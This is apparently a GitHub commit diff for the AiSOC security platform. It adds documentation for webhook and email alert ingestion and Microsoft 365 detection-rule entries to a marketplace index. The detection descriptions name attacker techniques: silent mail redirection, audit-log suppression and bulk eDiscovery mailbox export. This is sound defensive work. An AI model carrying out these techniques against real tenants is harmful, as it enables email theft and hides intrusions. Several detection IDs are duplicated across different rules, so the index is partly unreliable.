Skip to content

armgit / AiSOC

Public Imported from GitHub
0

Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.

feat: ship WS6 universal capture + WS7 tenant lake API + connector breadth

Beenu Arora4600e9982f8a
diff --git a/apps/docs/docs/connectors/index.md b/apps/docs/docs/connectors/index.md
index ae6d38080..627de5560 100644
--- a/apps/docs/docs/connectors/index.md
+++ b/apps/docs/docs/connectors/index.md
@@ -14,6 +14,8 @@ Everything ships with three guarantees:
- **Schemas are self-describing.** The connector tells the UI what fields it needs; the wizard renders them. There is no hardcoded form that drifts from the backend.
- **Polling is observable.** Every poll records `last_poll_at`, `events_added`, and `health_status`. Failures show up in the connector card with the underlying error message.
+If your tool isn't in the catalog, see [Universal capture](/docs/connectors/universal-capture) — webhook URLs, email relay, CEF syslog, and Splunk HEC let any vendor that can POST or send mail land events in the same OCSF stream.
+
## Catalog
The catalog ships with **26 connectors** out of the box.
diff --git a/apps/docs/docs/connectors/universal-capture.md b/apps/docs/docs/connectors/universal-capture.md
new file mode 100644
index 000000000..d72f6e66a
--- /dev/null
+++ b/apps/docs/docs/connectors/universal-capture.md
@@ -0,0 +1,210 @@
+---
+sidebar_position: 2
+title: Universal capture (push & email)
+description: Webhook URLs, email relay, CEF syslog, and Splunk HEC — accept any alert source with five-minute setup.
+---
+
+# Universal capture
+
+The polling connector catalog covers ~26 vendors. **Universal capture** is the escape hatch for everything else.
+
+If a tool can do any of the following, AiSOC can ingest it:
+
+- POST a webhook to a URL.
+- Send email to a mailbox.
+- Emit CEF over syslog.
+- Send to a Splunk HTTP Event Collector (HEC) endpoint.
+
+Each path lands in the same OCSF event stream as native connectors — same detections, same correlation, same lake.
+
+## When to use this vs. a polling connector
+
+| Situation | Use |
+|---|---|
+| Vendor is in the catalog | Native connector — better fidelity, schema drift detection, freshness SLO |
+| Vendor exposes webhooks | `POST /v1/inbox/{tenant_token}` |
+| Vendor only emails alerts | `POST /v1/inbox/email/{tenant_token}` (or pair the [Email Inbox connector](#email-inbox-as-last-resort)) |
+| Legacy on-prem appliance | `/v1/inbox/cef` over syslog-to-HTTPS |
+| Drop-in Splunk HEC replacement | `/v1/inbox/hec` |
+
+If the vendor offers both webhooks and a polled API, prefer the polled API — you get historical backfill on outage and structured pagination. Webhooks are at-most-once on the vendor side.
+
+## How it works
+
+1. Operator picks a **template** in the console (PagerDuty, Cloudflare Logpush, generic JSON, etc.).
+2. Console mints an **inbox token** scoped to that template + tenant. The full token is shown once; only the SHA-256 fingerprint is stored.
+3. Operator pastes the resulting URL into the vendor's webhook field.
+4. Vendor POSTs JSON. The ingest service:
+ - resolves the token from `tenant_inbox_tokens` (LRU-cached, 60s TTL),
+ - optionally verifies HMAC if a signing secret was set on mint,
+ - applies the YAML template to map vendor fields → OCSF,
+ - publishes to the same Kafka topic as polled events.
+5. The detection pipeline doesn't know — or care — that the event arrived push-side.
+
+The token never grants any privilege beyond "write events scoped to this template into this tenant." Rotation is a one-click operation in the console; the cache invalidates within 60 seconds, sooner if `Invalidate()` is called by the rotation flow.
+
+## Endpoints
+
+### `POST /v1/inbox/{tenant_token}` — generic JSON webhook
+
+The default route. Accepts a single JSON object **or** an NDJSON batch.
+
+```bash
+curl -X POST https://ingest.tryaisoc.com/v1/inbox/aisoc_inbox_xxxxx \
+ -H "Content-Type: application/json" \
+ -d '{
+ "event": {
+ "event_type": "incident.triggered",
+ "occurred_at": "2026-05-08T09:00:00Z",
+ "data": {
+ "id": "Q1234ABCD",
+ "title": "Database CPU > 90%",
+ "urgency": "high",
+ "service": {"summary": "prod-postgres"}
+ }
+ }
+ }'
+```
+
+**Headers**
+
+| Header | Required | Notes |
+|---|---|---|
+| `Content-Type` | yes | `application/json` or `application/x-ndjson` |
+| `X-Signature` / `X-Hub-Signature-256` | if signing secret set | `hex(HMAC-SHA256(secret, body))`, optionally prefixed `sha256=` |
+| `X-AiSOC-Idempotency-Key` | optional | If set, repeated POSTs with the same key inside 24h are deduped |
+
+**Response**
+
+```json
+{ "accepted": 1, "template": "pagerduty" }
+```
+
+A 4xx response means the token, signature, or body shape is wrong — the vendor will retry, but until you fix the cause it'll keep bouncing. Watch `aisoc_ingest_inbox_requests_total{outcome!="ok"}` in Prometheus.
+
+### `POST /v1/inbox/email/{tenant_token}` — email-relay JSON
+
+Designed for SES inbound, SendGrid Inbound Parse, Postmark, or any service that turns email into a JSON POST.
+
+The template `email-forwarded` extracts:
+
+- `from`, `to`, `subject` → `finding.title`, evidence,
+- plaintext body → `message`,
+- attachments listed → `finding.evidence.file`.
+
+If your relay can't push directly, see [Email Inbox connector](#email-inbox-as-last-resort).
+
+### `POST /v1/inbox/cef` — CEF over HTTPS
+
+Common Event Format from legacy SIEM, firewalls, and on-prem appliances. The path is **token-less** because most syslog forwarders can't set custom URL paths reliably; use a shared secret + IP allowlist on the load balancer.
+
+```text
+CEF:0|Vendor|Product|1.0|100|User login failed|3|src=10.0.0.1 suser=alice cs1=mfa
+```
+
+`ParseCEFBatch` handles newline-delimited inputs and unescapes `\|`, `\\`, and `\=` per the CEF spec. Malformed lines are dropped and counted in `aisoc_ingest_inbox_requests_total{outcome="malformed"}` rather than rejecting the whole batch.
+
+### `POST /v1/inbox/hec` — Splunk HEC compatible
+
+Drop-in replacement for `services/collector/event` — useful for on-prem fleets already configured to write to Splunk HEC. Authorization is the standard `Authorization: Splunk <token>` header where `<token>` is the inbox token minted in the console.
+
+```bash
+curl -X POST https://ingest.tryaisoc.com/v1/inbox/hec \
+ -H "Authorization: Splunk aisoc_inbox_xxxxx" \
+ -H "Content-Type: application/json" \
+ -d '{"event": {"action": "login_failed", "user": "alice"}, "sourcetype": "auth"}'
+```
+
+## Templates
+
+The bundled templates ship with the `services/ingest` binary and are loaded at startup from `services/ingest/internal/normalizer/templates/`:
+
+| Template ID | Use for |
+|---|---|
+| `generic-json` | Anything not in the list below — passes the body through with light timestamp normalization |
+| `pagerduty` | PagerDuty Events API v2 webhooks |
+| `opsgenie` | Opsgenie alert webhooks |
+| `cloudflare-logpush` | Cloudflare Logpush jobs (HTTP destination) |
+| `aws-eventbridge` | AWS EventBridge → API destination |
+| `aws-sns` | AWS SNS → HTTPS subscription |
+| `splunk-hec` | Anything that already speaks Splunk HEC envelope |
+| `cef-syslog` | CEF lines posted as text to `/v1/inbox/cef` |
+| `email-forwarded` | Inbound-email relays + the Email Inbox connector |
+| `microsoft-defender-email` | Defender for Office 365 alert emails forwarded as text |
+| `github-security-advisory` | GitHub security advisory webhooks |
+
+Adding a template is a single YAML file plus an entry in `ALLOWED_TEMPLATE_IDS` on the API service — see `services/api/app/api/v1/inbox.py`. Templates are validated at load time; a bad map blocks startup rather than silently dropping events.
+
+### Template structure
+
+```yaml
+id: my-vendor
+vendor_name: My Vendor
+product_name: My Vendor Cloud
+class_uid: 2001
+class_name: Security Finding
+activity_id: 1
+field_map:
+ alert.id: finding.uid
+ alert.message: message
+ alert.url: url
+severity_field: alert.priority
+severity_map:
+ P1: 5
+ P2: 4
+ P3: 3
+time_field: alert.created_at
+constants:
+ source_type: my-vendor
+ metadata.product.feature.name: alerts
+```
+
+`metadata.*` paths are merged into the OCSF metadata object — they don't clobber the version/uid stamped at ingest time.
+
+## Email Inbox as last resort
+
+When the vendor can't be configured to push at all but **can** email alerts, run the [Email Inbox connector](https://github.com/beenuar/AiSOC/tree/main/plugins/email-inbox). It polls a dedicated mailbox over IMAPS, marks messages `\Seen`, and feeds each one through the `email-forwarded` template — the same pipeline `/v1/inbox/email` uses, just polled from your side instead of pushed from theirs.
+
+Required config:
+
+| Field | Notes |
+|---|---|
+| `host` | e.g. `imap.gmail.com` |
+| `port` | Defaults to `993` (IMAPS) |
+| `username` | Mailbox login (e.g. `[email protected]`) |
+| `password` | **App-specific password** — never the primary account password; encrypted at rest in the credential vault |
+| `mailbox` | Defaults to `INBOX` |
+| `max_messages` | Per-poll cap; defaults to 50 |
+| `use_ssl` | Defaults to `true`; set `false` only on isolated networks |
+
+Recommended pairing: forward all vendor alerts to a **single dedicated mailbox** with a vendor-prefixed subject (`[CrowdStrike] ...`, `[Tenable] ...`) and let the detection pipeline route on `vendor_name` extracted from the subject.
+
+## Observability
+
+| Metric | Use for |
+|---|---|
+| `aisoc_ingest_inbox_requests_total{route, template, outcome}` | Per-vendor throughput, error rate, and template drift |
+| `aisoc_ingest_inbox_events_total{template}` | Event volume by template — basis for the freshness SLO |
+| `aisoc_ingest_inbox_token_cache_size` | Cache pressure; spikes indicate token churn |
+
+The console connector cards expose a **Push** tab next to **Polling** that surfaces the request count, last-seen timestamp, and 24-hour error rate for each minted token. Rotating a token through the UI also pushes an `Invalidate(token)` to ingest so the cache flushes immediately rather than waiting out the TTL.
+
+## Security model
+
+- **Token strength:** 32 random bytes, base32-encoded with `aisoc_inbox_` prefix; ~160 bits of entropy.
+- **Storage:** Only the SHA-256 fingerprint is persisted. The full token is shown once at mint time. Rotation is a one-click operation; the old token stops resolving after the next cache TTL (60s) at the latest.
+- **Scope:** A token is bound to a single template + tenant. It cannot pivot to other templates, other tenants, or any non-write API. There is no read surface on `/v1/inbox/*`.
+- **Signing:** Optional HMAC-SHA256 secret on mint. When set, requests without a valid `X-Signature` are rejected with 401 even if the token resolves.
+- **RLS:** `tenant_inbox_tokens` is row-level-secured by `tenant_id`. The API service only ever queries with the caller's tenant context.
+- **Network:** The token URL is unguessable, but treat it like a credential. Use the per-tenant rate limit (`AISOC_INBOX_RATE_LIMIT_PER_MIN`, default 600/min) to cap blast radius if it leaks.
+
+## Troubleshooting
+
+| Symptom | Likely cause |
+|---|---|
+| `401 invalid token` | Token rotated or revoked; mint a new one |
+| `401 invalid signature` | Wrong signing secret, or vendor canonicalized the body before signing — check vendor docs |
+| `400 unknown template` | Token's template was removed from `ALLOWED_TEMPLATE_IDS`; revoke and re-mint |
+| `413 body too large` | Body exceeded `AISOC_INBOX_MAX_BODY_BYTES` (default 10MiB); check for vendor-side pagination misconfig |
+| `429 too many requests` | Tenant rate limit hit; increase `AISOC_INBOX_RATE_LIMIT_PER_MIN` or have the vendor batch |
+| Events accepted but never appear | Almost always a template mismatch — check `aisoc_ingest_inbox_events_total{template="..."}` to confirm and inspect the OCSF event in the lake |
diff --git a/apps/docs/sidebars.ts b/apps/docs/sidebars.ts
index 911212918..04b897727 100644
--- a/apps/docs/sidebars.ts
+++ b/apps/docs/sidebars.ts
@@ -26,6 +26,7 @@ const sidebars: SidebarsConfig = {
label: "Connectors",
items: [
"connectors/index",
+ "connectors/universal-capture",
"connectors/azure-entra",
"connectors/azure-activity",
"connectors/azure-defender",
diff --git a/apps/web/public/marketplace/index.json b/apps/web/public/marketplace/index.json
index 29c2f82ad..671bcaf82 100644
--- a/apps/web/public/marketplace/index.json
+++ b/apps/web/public/marketplace/index.json
@@ -1,7 +1,7 @@
{
- "$schema": "https://aisoc.dev/schemas/marketplace/v1.json",
+ "$schema": "https://example.com/schemas/marketplace/v1.json",
"version": "1.0.0",
- "generated": "2026-05-06T08:25:33Z",
+ "generated": "2026-05-09T01:35:17Z",
"categories": [
{
"id": "playbooks",
@@ -20,20 +20,20 @@
}
],
"stats": {
- "total": 6989,
+ "total": 7038,
"playbooks": 50,
- "detections": 6914,
- "plugins": 25,
- "verified": 875,
+ "detections": 6948,
+ "plugins": 40,
+ "verified": 923,
"community": 0,
"by_tier": {
- "beta": 1,
+ "beta": 2,
"imported": 6113,
- "stable": 875
+ "stable": 923
},
"detections_by_tier": {
"imported": 6113,
- "stable": 801
+ "stable": 835
},
"quarantined": 5937
},
@@ -59,7 +59,7 @@
"T1016": 20,
"T1016.001": 1,
"T1018": 42,
- "T1020": 10,
+ "T1020": 12,
"T1020.001": 1,
"T1021": 26,
"T1021.001": 34,
@@ -144,7 +144,7 @@
"T1069.001": 29,
"T1069.002": 35,
"T1069.003": 4,
- "T1070": 32,
+ "T1070": 34,
"T1070.001": 8,
"T1070.002": 1,
"T1070.003": 13,
@@ -164,7 +164,7 @@
"T1078.001": 10,
"T1078.002": 14,
"T1078.003": 11,
- "T1078.004": 92,
+ "T1078.004": 96,
"T1082": 49,
"T1083": 28,
"T1087": 21,
@@ -180,7 +180,7 @@
"T1098": 87,
"T1098.001": 26,
"T1098.002": 6,
- "T1098.003": 30,
+ "T1098.003": 34,
"T1098.004": 10,
"T1098.005": 7,
"T1098.007": 1,
@@ -199,8 +199,8 @@
"T1113": 16,
"T1114": 6,
"T1114.001": 7,
- "T1114.002": 12,
- "T1114.003": 10,
+ "T1114.002": 16,
+ "T1114.003": 12,
"T1115": 11,
"T1119": 8,
"T1120": 2,
@@ -236,9 +236,9 @@
"T1190": 175,
"T1195": 23,
"T1195.001": 2,
- "T1195.002": 16,
+ "T1195.002": 17,
"T1197": 23,
- "T1199": 13,
+ "T1199": 16,
"T1200": 13,
"T1201": 14,
"T1202": 45,
@@ -252,8 +252,8 @@
"T1210": 13,
"T1211": 4,
"T1212": 8,
- "T1213": 9,
- "T1213.002": 1,
+ "T1213": 10,
+ "T1213.002": 2,
"T1213.003": 5,
"T1216": 14,
"T1216.001": 2,
@@ -285,7 +285,7 @@
"T1484": 13,
"T1484.001": 16,
"T1484.002": 6,
- "T1485": 81,
+ "T1485": 83,
"T1485.001": 2,
"T1486": 26,
"T1489": 37,
@@ -314,12 +314,12 @@
"T1518.001": 7,
"T1525": 9,
"T1526": 11,
- "T1528": 27,
+ "T1528": 28,
"T1529": 16,
- "T1530": 45,
+ "T1530": 46,
"T1531": 20,
"T1535": 5,
- "T1537": 18,
+ "T1537": 23,
"T1538": 1,
"T1539": 7,
"T1542": 1,
@@ -388,7 +388,7 @@
"T1555.003": 15,
"T1555.004": 6,
"T1555.005": 5,
- "T1556": 69,
+ "T1556": 70,
"T1556.001": 1,
"T1556.002": 3,
"T1556.003": 1,
@@ -412,13 +412,13 @@
"T1561.001": 2,
"T1561.002": 4,
"T1562": 28,
- "T1562.001": 126,
+ "T1562.001": 135,
"T1562.002": 13,
"T1562.003": 2,
"T1562.004": 18,
"T1562.006": 4,
- "T1562.007": 7,
- "T1562.008": 29,
+ "T1562.007": 8,
+ "T1562.008": 32,
"T1562.012": 5,
"T1563.002": 4,
"T1564": 14,
@@ -429,12 +429,13 @@
"T1564.006": 3,
"T1564.008": 4,
"T1565": 3,
- "T1565.001": 10,
+ "T1565.001": 11,
"T1565.002": 3,
- "T1566": 28,
+ "T1566": 29,
"T1566.001": 51,
- "T1566.002": 13,
- "T1567": 30,
+ "T1566.002": 14,
+ "T1566.003": 1,
+ "T1567": 32,
"T1567.001": 2,
"T1567.002": 23,
"T1568": 1,
@@ -531,8 +532,8 @@
"T1689": 1,
"T1690": 1
},
- "unique_techniques": 491,
- "total_with_mitre": 5711,
+ "unique_techniques": 492,
+ "total_with_mitre": 5745,
"by_tier": {
"stable": {
"T1003": 2,
@@ -543,6 +544,7 @@
"T1003.008": 1,
"T1011": 1,
"T1018": 5,
+ "T1020": 2,
"T1021": 1,
"T1021.001": 2,
"T1021.002": 7,
@@ -573,6 +575,7 @@
"T1059.005": 1,
"T1068": 1,
"T1069.003": 1,
+ "T1070": 2,
"T1070.001": 3,
"T1070.002": 1,
"T1070.003": 2,
@@ -584,7 +587,7 @@
"T1078.001": 4,
"T1078.002": 3,
"T1078.003": 1,
- "T1078.004": 33,
+ "T1078.004": 37,
"T1083": 2,
"T1087.001": 2,
"T1087.002": 5,
@@ -594,7 +597,7 @@
"T1095": 3,
"T1098": 28,
"T1098.001": 21,
- "T1098.003": 4,
+ "T1098.003": 8,
"T1098.004": 6,
"T1098.007": 1,
"T1105": 3,
@@ -604,8 +607,8 @@
"T1110.004": 4,
"T1112": 1,
"T1113": 2,
- "T1114.002": 1,
- "T1114.003": 2,
+ "T1114.002": 5,
+ "T1114.003": 4,
"T1127.001": 1,
"T1133": 13,
"T1135": 2,
@@ -617,13 +620,14 @@
"T1185": 1,
"T1190": 28,
"T1195": 2,
- "T1195.002": 9,
+ "T1195.002": 10,
"T1197": 1,
- "T1199": 12,
+ "T1199": 15,
"T1204.001": 1,
"T1204.002": 5,
"T1212": 2,
- "T1213": 2,
+ "T1213": 3,
+ "T1213.002": 1,
"T1218": 1,
"T1218.003": 1,
"T1218.004": 1,
@@ -637,7 +641,7 @@
"T1482": 1,
"T1484.001": 2,
"T1484.002": 2,
- "T1485": 26,
+ "T1485": 28,
"T1486": 7,
"T1489": 1,
"T1490": 7,
@@ -648,10 +652,10 @@
"T1499": 1,
"T1505.003": 2,
"T1525": 8,
- "T1528": 5,
- "T1530": 35,
+ "T1528": 6,
+ "T1530": 36,
"T1531": 5,
- "T1537": 5,
+ "T1537": 10,
"T1539": 4,
"T1542.001": 1,
"T1543.001": 3,
@@ -696,7 +700,7 @@
"T1555.003": 3,
"T1555.004": 1,
"T1555.005": 1,
- "T1556": 38,
+ "T1556": 39,
"T1556.001": 1,
"T1556.003": 1,
"T1556.004": 1,
@@ -712,18 +716,20 @@
"T1560.001": 3,
"T1561.002": 1,
"T1562": 5,
- "T1562.001": 29,
+ "T1562.001": 38,
"T1562.004": 7,
"T1562.006": 2,
- "T1562.008": 10,
+ "T1562.007": 1,
+ "T1562.008": 13,
"T1562.012": 2,
"T1564.008": 1,
- "T1565.001": 3,
+ "T1565.001": 4,
"T1565.002": 1,
- "T1566": 1,
+ "T1566": 2,
"T1566.001": 1,
- "T1566.002": 1,
- "T1567": 9,
+ "T1566.002": 2,
+ "T1566.003": 1,
+ "T1567": 11,
"T1567.002": 7,
"T1568.001": 2,
"T1568.002": 2,
@@ -34426,6 +34432,807 @@
"enabled": true,
"path": "detections/cloud/aws-guardduty-instance-credential-exfiltration.yaml"
},
+ {
+ "id": "det-cloud-192",
+ "type": "detection",
+ "name": "M365 Exchange Transport Rule Redirects Mail Externally",
+ "description": "Detects creation or modification of an Exchange Online transport rule that redirects or forwards mail to an external domain. Commonly abused in BEC attacks to silently siphon conversations.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.003",
+ "T1020"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-transport-rule-external-redirect.yaml"
+ },
+ {
+ "id": "det-cloud-192",
+ "type": "detection",
+ "name": "M365 Exchange Transport Rule Redirects Mail Externally",
+ "description": "A transport rule was created or modified to redirect or BCC mail to an external domain. Attackers use this for persistent email exfiltration that survives password resets.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.003",
+ "T1020"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-transport-rule-redirect-external.yaml"
+ },
+ {
+ "id": "det-cloud-193",
+ "type": "detection",
+ "name": "M365 Exchange Mailbox Audit Bypass Enabled",
+ "description": "AuditBypassEnabled was set to True on a mailbox, suppressing all audit logging for that account. Threat actors use this to operate invisibly in a compromised mailbox.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-audit-bypass-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-193",
+ "type": "detection",
+ "name": "M365 eDiscovery Compliance Search Created",
+ "description": "Detects creation of an eDiscovery compliance search in Microsoft Purview. Insider threats and compromised admin accounts abuse eDiscovery to search and export mailbox contents at scale.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1213"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-search-created.yaml"
+ },
+ {
+ "id": "det-cloud-194",
+ "type": "detection",
+ "name": "M365 eDiscovery Compliance Search Across All Mailboxes",
+ "description": "A compliance search targeting all mailboxes was created via eDiscovery or Purview. This is a common precursor to mass email exfiltration via New-ComplianceSearchAction -Export.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1530"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-collection",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-search-all-mailboxes.yaml"
+ },
+ {
+ "id": "det-cloud-194",
+ "type": "detection",
+ "name": "M365 Unified Audit Log Disabled",
+ "description": "Detects disabling of the Microsoft 365 unified audit log. Attackers disable auditing early in a compromise to erase their trail across Exchange, SharePoint, Teams, and Entra ID.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "critical",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.008"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-unified-audit-log-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-195",
+ "type": "detection",
+ "name": "M365 eDiscovery Search Results Exported",
+ "description": "Results from a compliance search were exported. When paired with a broad compliance search this represents confirmed data exfiltration through M365 native tooling.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1114.002",
+ "T1567"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-ediscovery-export.yaml"
+ },
+ {
+ "id": "det-cloud-195",
+ "type": "detection",
+ "name": "M365 Exchange Inbound Connector From Untrusted Domain",
+ "description": "Detects creation of an Exchange Online inbound connector that accepts mail from a specific external sender domain. Adversaries create connectors to bypass spam filters for phishing infrastructure.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1566"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-exchange-mail-connector-external-domain.yaml"
+ },
+ {
+ "id": "det-cloud-196",
+ "type": "detection",
+ "name": "M365 SharePoint External Sharing Enabled at Org Level",
+ "description": "SharePoint Online tenant sharing capability was changed to allow sharing with anonymous or new external users. This broadens the blast radius of any future data exposure.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1537",
+ "T1213.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-external-sharing-enabled-org.yaml"
+ },
+ {
+ "id": "det-cloud-196",
+ "type": "detection",
+ "name": "M365 SharePoint External Sharing Enabled Tenant-Wide",
+ "description": "Detects tenant-level SharePoint sharing policy changed to allow external or anonymous sharing. Widens the data-loss attack surface across all sites.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1567",
+ "T1537"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-exfiltration",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-external-sharing-enabled-tenant.yaml"
+ },
+ {
+ "id": "det-cloud-197",
+ "type": "detection",
+ "name": "M365 SharePoint Site Collection Admin Granted to External User",
+ "description": "Detects an external (guest) user being granted site collection administrator rights on a SharePoint Online site. External admins can access all site content and modify permissions.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-site-admin-external-user.yaml"
+ },
+ {
+ "id": "det-cloud-197",
+ "type": "detection",
+ "name": "M365 SharePoint Site Collection Admin Added",
+ "description": "A new site collection administrator was added. Site collection admins bypass item-level permissions and can access all content including OneDrive for Business sites.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1098.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-persistence",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-sharepoint-site-collection-admin-added.yaml"
+ },
+ {
+ "id": "det-cloud-198",
+ "type": "detection",
+ "name": "M365 Teams External Access Domain Allow-Listed",
+ "description": "Detects modification of the Teams external access policy to allow federation with a new domain. Threat actors social-engineer admins or use compromised accounts to open federation for phishing or data exfiltration via Teams chat.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1199"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-external-access-domain-added.yaml"
+ },
+ {
+ "id": "det-cloud-198",
+ "type": "detection",
+ "name": "M365 Teams External Access Policy Enabled",
+ "description": "Teams external access was changed to allow federation with all external domains or specific unblocked domains. Attackers leverage external access to phish internal users via Teams chat.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1566.003"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-initial-access",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-external-access-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-199",
+ "type": "detection",
+ "name": "M365 Teams Custom App Sideloading Enabled",
+ "description": "The Teams app permission policy was changed to allow sideloading of custom apps. Malicious Teams apps can harvest tokens, exfiltrate chat data, and impersonate users.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1195.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-execution",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-teams-app-sideloading-enabled.yaml"
+ },
+ {
+ "id": "det-cloud-200",
+ "type": "detection",
+ "name": "M365 Defender Safe Attachments Policy Disabled",
+ "description": "A Safe Attachments policy was disabled or its action set to Allow. Disabling detonation-based attachment scanning exposes the org to weaponized document delivery.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-safe-attachments-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-201",
+ "type": "detection",
+ "name": "M365 Defender Safe Links Policy Disabled",
+ "description": "A Safe Links policy was disabled or URL scanning turned off. This removes time-of-click URL protection and allows deferred phishing links to reach users unchecked.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "high",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-safe-links-policy-disabled.yaml"
+ },
+ {
+ "id": "det-cloud-202",
+ "type": "detection",
+ "name": "M365 Defender Anti-Phishing Policy Weakened",
+ "description": "An anti-phishing policy had impersonation protection or spoof intelligence disabled. This lowers the barrier for BEC and brand-impersonation phishing campaigns.",
+ "version": "1.0.0",
+ "author": "AiSOC",
+ "tags": [
+ "tlp.white"
+ ],
+ "severity": "medium",
+ "category": "cloud",
+ "mitre_techniques": [
+ "T1562.001",
+ "T1566.002"
+ ],
+ "log_source": "m365",
+ "playbook": "tpl-defense-evasion",
+ "verified": true,
+ "source": "core",
+ "tier": "stable",
+ "enabled": true,
+ "path": "detections/cloud/m365-defender-antiphish-policy-weakened.yaml"
+ },
+ {
+ "id": "det-cloud-203",
+ "type": "detection",
+ "name": "M365 Purview DLP Policy Disabled",
